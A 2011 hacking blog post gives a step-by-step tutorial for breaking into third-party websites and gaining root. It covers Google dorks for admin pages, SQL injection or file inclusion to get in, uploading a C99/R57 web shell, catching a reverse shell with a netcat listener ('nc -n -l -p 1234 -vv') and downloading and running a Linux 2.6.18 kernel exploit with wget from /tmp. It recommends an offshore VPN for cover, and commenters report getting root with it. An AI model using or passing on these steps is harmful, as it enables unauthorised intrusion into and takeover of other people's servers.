Checkout our new Website www.techexperiments.in


Recommended Post Slide Out For Blogger
Sign-up for FREE daily Updates.

Receive all updates via Facebook. Just Click the Like Button Below

You can also receive Free Email Updates:

Powered By Blogger Widgets

Root Exploit for Linux based server

Posted on
  • Saturday, 10 December 2011
  • by
  • Minhal Mehdi
  • in
  • Labels: ,
  • image_2303067.original.jpg (400×267)

    Root Exploit for Linux based server


    • Requirements:
    • -netcat 
    • -a decent shell to backconnect to your own machine
    • -little knowledge of linux 
    • - offshore vpn / Or some protection
    • - Brain 

    Step 1: 
    Goto google and use your favorite dork to find out some decent site logins.
    eg: inurl:login.asp or admin.asp or admin.php etc

    i'll be using inurl:admin.asp
     It should look somethin like this:

    Step 2:
    Use SQLi or RFi or LFi or any other method you want to gain access to the site's login.
    sometimes even the basic SQLi is enough for u to gain access to the site and upload the shell :D
     i would not be going into detail as to how to gain access to admin login as this tuto mainly focusses to show how easy it is to find and run an exploit to become root
    (maybe somtime in near future when i have a lott of time i'll explain the methods to upload the shell as its going to take a lott of time to explain .. )
    oK i found my site... found the admin login and knw what.. i evn found an option to upload a page using the admin login .. ( yea yea .. I'm damn lucky )

    Step 3:
     Now that i have the upload option in front of me .. i'll be uploading a shell through which i'll backconnect to my machine.
    You may use a C99 or R57 or anyother shell for that matter which gives u ability to backconnect.
    Using it you can easily do the thing whichh mosstt people think is the best thing you can do after uploadin a shell --> DEFACE ... :P .. but am not intrested in that.. kk .. will continue with the next step :P ...

    I'll be using a basic shell coZ only support we need is to back connect to our machine.

    This is the shell ( not created my me .. found it a long time bck and have been using it since .. thanx for the person who creatd it  )
    Step 4
    Now, before you remote connect to your local machine, if you are behind a router, you need to have a open port on your local machine to accpt the connectn from the site to your machine.
    portforwarding is quite easy ... you may go through portforwarding.com to do the settings according to the router...


    or better just google portforwarding  you'll get all the info u need. :P ( coZ i could not find the settings for my router over ther n had to google it :D )
     in my case it looks like this:

    i just logged in my router.... then went on to activate DMZ and then went to virtual server and setup "1234" as my open port to point to my machines private ip.
    And voila it was done.


    Step 5:
    now tht u have a open port on your machine... all you need to do it , setup netcat in listening mode using cmd syntax as >> nc -n -l -p 1234 -vv

    btw if u dont know ... you can download netcat from : http://www.downloadnetcat.com/


    Step 6:

    find out http://www.xxxxxx.com/YYY/shell.php or whereever the location of the shell is...if u find difficulty locating the shell... U may also use acunetix if u want to find it ;) ... as it gives you a complete directory view

    of
    the site and tht scan help you find the uploaded shell location.

    Then open the site: http://www.xxxxxx.com/YYY/shell.php


    Go back to your netcat ... it would look smthin like this:


    ok ok ... the uid is not root as of now... damnn :'( :P .. ok ok ... vll get ther in some time.

    Step 7: from the above step you now know tht the linux version is 2.6.18

    now you can either goto exploit-db.com and search for 2.6.18 .. or can directly google .. 2.6.18 exploit
    so what i do it ..goto the /tmp folder and then type : wget -q securityfocus.com/data/vulnerabilities/exploits/2009-linux-sendpage3.tar.gz on the linux window.
    then i unwrap the file using tar -zxvf 2009*

    i'll get something like this :


    Step 8 :
    now cd into the downloaded exploit folder ..
    will look somethin like this


    step 9:
     now we will run this exploit using :

    ./run
    is should look something like:
    Step 10:
     Now the final step --- type in :id to see who you are :D ...

    it should look something like this...

    n Voilaa Your root

    and you all knw what all you can do when you are root ;) ... You're The king :)

    hope this was helpful to aleast some of you ...

    Lemme know whether u liked it or not...

    written by : Meta1Wrath  aka Th3 R0oter


    Note : there are Some error below Post ... igNore it ... and if anyone of you can fix it then contact me on minhalmehdi2000@gmail.com

    5 comments:

    Anonymous said...

    pls one video tutorial of c99 shell server root..

    Minhal Mehdi said...

    @Anonymous

    SQL Injection + Shell Upload Tutorial Video Tutorial

    http://www.devilscafe.in/2011/10/sql-injection-shell-upload-tutorial.html

    L0gical said...

    Thanksgot root !

    Minhal Mehdi said...

    Congrats @L0gical

    Anonymous said...

    ThanX alot ...

    Post a Comment

    If you're having issues, Please leave an email address I can contact you on -
    I advise you to also "subscribe to the comment feed" and get email updates when I respond to your question.

    Hyperlinks are not allowed, Spam/advertising comments will NEVER BE TOLERATED and will be deleted immediately!

    Thanks for reading,
    Admin

    Previous previous home